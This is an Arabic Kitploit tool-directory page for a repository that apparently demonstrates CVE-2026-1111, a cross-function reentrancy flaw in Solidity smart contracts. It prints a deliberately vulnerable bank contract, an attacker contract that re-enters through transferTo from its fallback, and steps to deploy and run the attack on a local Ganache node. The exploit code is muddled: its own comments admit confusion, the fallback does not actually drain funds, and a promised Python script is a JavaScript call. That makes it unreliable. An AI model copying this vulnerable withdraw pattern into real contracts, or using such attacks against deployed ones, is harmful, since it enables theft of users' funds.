Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy — مثال على استغلال ثغرة إعادة الدخول عبر الوظائف (Cross-function Reentrancy) في العقود الذكية، مع عقد Solidity هش وعقد مهاجم يوضحان استنزاف الأموال من خلال إعادة الدخول عبر دالة fallback. | Kitploit
أدوات/GitHubGitHub/george0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy
تحليل الثغرات الأمنيةالاستغلالالتعلم والتعليم
GitHubgeorge0papasotiriou/cve-2026-1111-smart-contract-cross-function-reentrancy

CVE-2026-1111-Smart-Contract-Cross-Function-Reentrancy

مثال على استغلال ثغرة إعادة الدخول عبر الوظائف (Cross-function Reentrancy) في العقود الذكية، مع عقد Solidity هش وعقد مهاجم يوضحان استنزاف الأموال من خلال إعادة الدخول عبر دالة fallback.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
منذ 18 أياملم تتم المراجعة بعد

CVE-2026-1111 – إعادة الدخول عبر الدوال في العقد الذكي

كود البرنامج (Solidity + Python)

root@kitploit:~
// VulnerableBank.sol - Simplified reentrancy example with cross-function bypass
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) public {
        require(balances[msg.sender] >= amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= amount;
    }

    // Second function that also modifies state after external call? Not present.
    // Cross-function reentrancy: attacker calls withdraw(), which triggers fallback,
    // then fallback calls another function that also transfers, bypassing nonReentrant if not global.
    function transferTo(address to, uint256 amount) public {
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        balances[to] += amount;
    }
}
// Attacker contract:
contract Attacker {
    VulnerableBank bank;
    constructor(address _bank) { bank = VulnerableBank(_bank); }
    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            // Re-enter via transferTo instead of withdraw
            bank.transferTo(address(this), 1 ether); // this changes balances mapping
            // then later withdraw again? The point is to exploit reentrancy across functions.
        }
    }
    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }
}

CVE-2026-1111 – إعادة الدخول عبر الدوال في العقد الذكي

Severity: Critical

نظرة عامة

يفتقر العقد الذكي إلى حارس إعادة دخول شامل (global reentrancy guard)، مما يسمح للمهاجم بإعادة الدخول إلى العقد عبر دالة مختلفة أثناء استدعاء withdraw، متجاوزًا الحارس المحلي وساحبًا للأموال.

تفاصيل الثغرة

  • النوع: إعادة الدخول
  • الأثر: سرقة جميع الإيثر المحجوز.
  • السبب الجذري: تقوم دالة withdraw بتحديث الرصيد بعد استدعاء خارجي، ويمكن استدعاء دالة أخرى تغيّر الحالة (transferTo) عبر إعادة الدخول، مما يتيح التلاعب بالأرصدة.

توضيح الاستغلال

  1. شغّل عقدة إيثريوم محلية (Ganache):
    root@kitploit:~
    ganache-cli
    
  2. انشر VulnerableBank.sol و Attacker.sol باستخدام Remix أو Truffle.
  3. نفّذ الهجوم عبر سكربت بايثون (محاكاة باستخدام وحدة تحكم Remix):
    root@kitploit:~
    attacker.attack({value: web3.utils.toWei("1", "ether")})
    
root@kitploit:~
تنزيل الأداة